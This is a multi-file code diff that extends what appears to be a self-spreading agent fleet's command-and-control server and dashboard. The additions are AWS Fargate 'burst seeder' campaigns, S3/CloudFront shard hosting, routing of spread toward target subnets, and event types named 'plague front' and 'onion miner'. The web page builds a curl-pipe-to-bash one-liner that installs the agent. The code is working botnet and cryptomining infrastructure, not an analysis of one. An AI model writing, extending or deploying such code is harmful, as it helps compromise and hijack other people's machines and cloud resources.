if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" {
|
||||||
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
|
||||||
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
|
||||||
if policy.HashrateGateSpreadMin > 0 {
|
if policy.HashrateGateSpreadMin > 0 {
|
||||||
@@ -959,6 +959,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
|||||||
if policy.HashrateGateHPS > 0 {
|
if policy.HashrateGateHPS > 0 {
|
||||||
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
|
||||||
}
|
}
|
||||||
|
if policy.AwsS3ShardRegion != "" {
|
||||||
|
spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
|
||||||
|
}
|
||||||
|
if policy.AwsCloudFrontDomain != "" {
|
||||||
|
spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
|
||||||
|
}
|
||||||
}
|
}
|
||||||
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
|
||||||
for k, v := range scoutPolicy {
|
for k, v := range scoutPolicy {
|
||||||
|
|||||||
@@ -62,6 +62,7 @@ type Input struct {
|
|||||||
TargetSubnets []string
|
TargetSubnets []string
|
||||||
RequestedLane string
|
RequestedLane string
|
||||||
ErasureLanesEnabled bool
|
ErasureLanesEnabled bool
|
||||||
|
FargateBurstActive bool
|
||||||
}
|
}
|
||||||
|
|
||||||
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
// RouteEdge is a weighted edge from a seed hop to a target subnet.
|
||||||
@@ -93,6 +94,8 @@ type RouteRecommendation struct {
|
|||||||
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
|
||||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||||
|
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
||||||
|
RouteVia string `json:"route_via,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
|
||||||
@@ -112,6 +115,8 @@ type SpreadRouteHint struct {
|
|||||||
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
SwarmMagnet string `json:"swarm_magnet,omitempty"`
|
||||||
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
|
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
|
||||||
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
|
||||||
|
PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
|
||||||
|
RouteVia string `json:"route_via,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// RouteTable holds weighted edges and recommendations.
|
// RouteTable holds weighted edges and recommendations.
|
||||||
@@ -152,7 +157,7 @@ func Build(in Input) *RouteTable {
|
|||||||
targets := normalizeTargets(in)
|
targets := normalizeTargets(in)
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
cands := collectCandidates(in, target, fleetByID, laneRates)
|
cands := collectCandidates(in, target, fleetByID, laneRates)
|
||||||
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
|
rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
|
||||||
if rec.SeedAgentID != "" {
|
if rec.SeedAgentID != "" {
|
||||||
rt.Routes = append(rt.Routes, rec)
|
rt.Routes = append(rt.Routes, rec)
|
||||||
rt.bySubnet[target] = rec
|
rt.bySubnet[target] = rec
|
||||||
@@ -188,6 +193,9 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
|
|||||||
Score: rec.Score,
|
Score: rec.Score,
|
||||||
ClearanceLevel: rec.ClearanceLevel,
|
ClearanceLevel: rec.ClearanceLevel,
|
||||||
ErasureLanesEnabled: rec.ErasureLanesEnabled,
|
ErasureLanesEnabled: rec.ErasureLanesEnabled,
|
||||||
|
SwarmMagnet: rec.SwarmMagnet,
|
||||||
|
ShardManifestURLs: rec.ShardManifestURLs,
|
||||||
|
PreferFargateSeeder: rec.PreferFargateSeeder,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -303,7 +311,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
|
|||||||
return out
|
return out
|
||||||
}
|
}
|
||||||
|
|
||||||
func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
|
||||||
var edges []RouteEdge
|
var edges []RouteEdge
|
||||||
var best RouteRecommendation
|
var best RouteRecommendation
|
||||||
var bestScore float64
|
var bestScore float64
|
||||||
@@ -353,6 +361,7 @@ func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []ca
|
|||||||
Score: weight,
|
Score: weight,
|
||||||
Reason: reason,
|
Reason: reason,
|
||||||
ErasureLanesEnabled: erasureLanes,
|
ErasureLanesEnabled: erasureLanes,
|
||||||
|
PreferFargateSeeder: fargateBurst,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -123,6 +123,25 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
|
||||||
|
in := Input{
|
||||||
|
TargetSubnets: []string{"10.9.8"},
|
||||||
|
FargateBurstActive: true,
|
||||||
|
FleetAgents: []FleetAgentSnapshot{
|
||||||
|
{AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
rt := Build(in)
|
||||||
|
rec, ok := rt.Recommend("10.9.8")
|
||||||
|
if !ok || !rec.PreferFargateSeeder {
|
||||||
|
t.Fatalf("route=%+v ok=%v", rec, ok)
|
||||||
|
}
|
||||||
|
hint := ToHint(rec)
|
||||||
|
if hint == nil || !hint.PreferFargateSeeder {
|
||||||
|
t.Fatalf("hint=%+v", hint)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestToHint(t *testing.T) {
|
func TestToHint(t *testing.T) {
|
||||||
hint := ToHint(RouteRecommendation{
|
hint := ToHint(RouteRecommendation{
|
||||||
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
|
||||||
|
|||||||
@@ -306,7 +306,7 @@ func main() {
|
|||||||
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
|
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
|
||||||
publicHandler.BindErasureShardStore(erasureShardStore)
|
publicHandler.BindErasureShardStore(erasureShardStore)
|
||||||
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
|
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
|
||||||
spreadHandler.bindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore)
|
spreadHandler.BindFargateDeps(func() string { return configProvider.PublicURL() }, erasureShardStore)
|
||||||
spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() })
|
spreadHandler.BindS3CRRConfig(func() erasure.S3ShardConfig { return cfg.S3ShardCRRConfig() })
|
||||||
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
|
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
|
||||||
deployPlanHandler := api.NewDeployPlanHandler(
|
deployPlanHandler := api.NewDeployPlanHandler(
|
||||||
|
|||||||
@@ -241,6 +241,24 @@
|
|||||||
</p>
|
</p>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<section class="section" id="burst-seeder">
|
||||||
|
<h2>Burst seeder (ECS Fargate)</h2>
|
||||||
|
<p>
|
||||||
|
When a <strong>Fargate burst campaign</strong> is active on the command deck, BGP spread hints set
|
||||||
|
<code class="inline">prefer_fargate_seeder</code>. Download a standalone task definition + run script with embedded
|
||||||
|
erasure shards — run on <em>your</em> AWS account (no server-side ECS required).
|
||||||
|
</p>
|
||||||
|
<div class="install-grid">
|
||||||
|
<a class="install-card" id="fargate-bundle" href="#">Burst bundle (ZIP)</a>
|
||||||
|
<a class="install-card" id="fargate-task-def" href="#">task-definition.json</a>
|
||||||
|
<a class="install-card" id="fargate-run-script" href="#">run-task.sh</a>
|
||||||
|
</div>
|
||||||
|
<p class="fine" style="margin-top: 0.75rem;">
|
||||||
|
ZIP includes <code class="inline">erasure-shards.json</code>. Campaign TTL is 2–4 hours; Seer emits
|
||||||
|
<code class="inline">fargate_plague_front</code> when burst activates.
|
||||||
|
</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
<footer class="fine">
|
<footer class="fine">
|
||||||
<p>
|
<p>
|
||||||
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
Command-deck copy: <a href="/spread/">/spread/</a> ·
|
||||||
@@ -280,6 +298,14 @@
|
|||||||
var dl = document.getElementById('btn-dl');
|
var dl = document.getElementById('btn-dl');
|
||||||
if (dl) dl.href = withSuffix(SERVER + '/get');
|
if (dl) dl.href = withSuffix(SERVER + '/get');
|
||||||
|
|
||||||
|
var fargateBase = SERVER + '/api/v1/public/fargate-burst/';
|
||||||
|
var fargateBundle = document.getElementById('fargate-bundle');
|
||||||
|
if (fargateBundle) fargateBundle.href = withSuffix(fargateBase + 'bundle.zip');
|
||||||
|
var fargateTask = document.getElementById('fargate-task-def');
|
||||||
|
if (fargateTask) fargateTask.href = withSuffix(fargateBase + 'task-definition.json');
|
||||||
|
var fargateRun = document.getElementById('fargate-run-script');
|
||||||
|
if (fargateRun) fargateRun.href = withSuffix(fargateBase + 'run-task.sh');
|
||||||
|
|
||||||
var bash = document.getElementById('oneliner-bash');
|
var bash = document.getElementById('oneliner-bash');
|
||||||
var ps1 = document.getElementById('oneliner-ps1');
|
var ps1 = document.getElementById('oneliner-ps1');
|
||||||
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
if (bash) bash.textContent = "curl -sL '" + SERVER + "/install.sh" + suffix + "' | bash";
|
||||||
|
|||||||
@@ -217,6 +217,17 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
|
|||||||
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
|
<span>Erasure-coded multi-lane spread <HelpTip field="erasure_lanes" /></span>
|
||||||
</label>
|
</label>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="form-group checkbox-group" style={{ marginTop: '0.5rem' }}>
|
||||||
|
<label className="checkbox-label">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
className="checkbox"
|
||||||
|
checked={server.fargate_burst_campaign === true}
|
||||||
|
onChange={(e) => onUpdate('server.fargate_burst_campaign', e.target.checked)}
|
||||||
|
/>
|
||||||
|
<span>Fargate burst seeder campaign (ECS, 2–4h TTL)</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
{server.lotl_onion_tiers?.length ? (
|
{server.lotl_onion_tiers?.length ? (
|
||||||
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
<p className="form-hint" style={{ marginTop: '0.75rem' }}>
|
||||||
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
Spread tier order: <code className="mono-sm">{server.lotl_onion_tiers.join(' → ')}</code>
|
||||||
|
|||||||
@@ -15,6 +15,24 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
|
|||||||
return event.event_type === 'onion_miner_log';
|
return event.event_type === 'onion_miner_log';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
|
||||||
|
return event.event_type === 'fargate_plague_front';
|
||||||
|
}
|
||||||
|
|
||||||
|
export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
|
||||||
|
if (!isFargatePlagueFrontEvent(event)) return '';
|
||||||
|
const p = event.payload ?? {};
|
||||||
|
const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
|
||||||
|
const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
|
||||||
|
if (ttl != null && expires) {
|
||||||
|
return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
|
||||||
|
}
|
||||||
|
if (ttl != null) {
|
||||||
|
return `Fargate burst seeder front · TTL ${ttl}h`;
|
||||||
|
}
|
||||||
|
return 'Fargate burst seeder campaign active (ECS plague front)';
|
||||||
|
}
|
||||||
|
|
||||||
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
export function onionMinerLogSummary(event: SeerEventRecord): string {
|
||||||
if (!isOnionMinerLogEvent(event)) return '';
|
if (!isOnionMinerLogEvent(event)) return '';
|
||||||
const p = event.payload ?? {};
|
const p = event.payload ?? {};
|
||||||
|
|||||||
@@ -382,6 +382,12 @@ export interface ServerSettings {
|
|||||||
erasure_lanes_enabled?: boolean;
|
erasure_lanes_enabled?: boolean;
|
||||||
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
/** Fleet Torrent shard DHT + cross-subnet gossip (default off). */
|
||||||
fleet_torrent_enabled?: boolean;
|
fleet_torrent_enabled?: boolean;
|
||||||
|
aws_s3_shard_bucket?: string;
|
||||||
|
aws_s3_shard_region?: string;
|
||||||
|
aws_cloudfront_domain?: string;
|
||||||
|
fargate_burst_campaign?: boolean;
|
||||||
|
fargate_burst_ttl_hours?: number;
|
||||||
|
fargate_burst_expires_at?: string;
|
||||||
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
/** Triple onion recon/deploy gates pushed to agents at auth. */
|
||||||
triple_onion_policy?: {
|
triple_onion_policy?: {
|
||||||
patch_first?: boolean;
|
patch_first?: boolean;
|
||||||
|
|||||||
Reference in New Issue
Block a user